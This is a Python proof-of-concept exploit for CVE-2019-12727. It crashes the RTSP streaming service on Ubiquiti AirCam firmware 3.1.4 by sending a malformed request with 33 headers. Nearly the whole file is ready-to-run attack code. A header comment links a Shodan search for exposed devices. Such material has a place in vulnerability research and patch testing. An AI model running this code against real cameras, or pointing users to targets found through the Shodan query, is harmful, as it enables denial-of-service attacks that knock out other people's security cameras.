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'''
CVE-2019-12727
--
Denial of Service in RTSP server in Aircam firmware (tested on latest version, AirCam firmware 3.1.4 - 2016-03-04)
PoC to cause the SIGSEGV (invalid read):
(/bin/ubnt-streamer)
0xf66b0344 cmn r0, #0x1000
https://www.ui.com/download/unifi-video/unifi-video-legacy/aircam
https://www.shodan.io/search?query=ubnt+rtsp
'''
import socket
class RtspRequest(object):
def __init__(self, ip_address, port):
self._ip_address = ip_address
self._port = port
def generate_request(self, method, uri, headers):
data = ""
data += "%s %s RTSP/1.0\r\n" % (method, uri)
for item in headers:
header = headers[item]
data += "%s:%s\r\n" % (item, header)
data += "\r\n"
return data
def send_request(self, data):
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.settimeout(15)
sd.connect((self._ip_address, self._port))
sd.send(data)
print "Request:\n" + data
resp = sd.recv(2048)
sd.close()
return resp
if __name__ == "__main__":
ip = "127.0.0.1"
anRtsp = RtspRequest(ip, 554)
uri = "kk"
headers = {}
for x in xrange(0,33):
headers[x] = x
req = anRtsp.generate_request("X" ,uri, headers)
rsp = anRtsp.send_request(req)
print "Response: \n" + rsp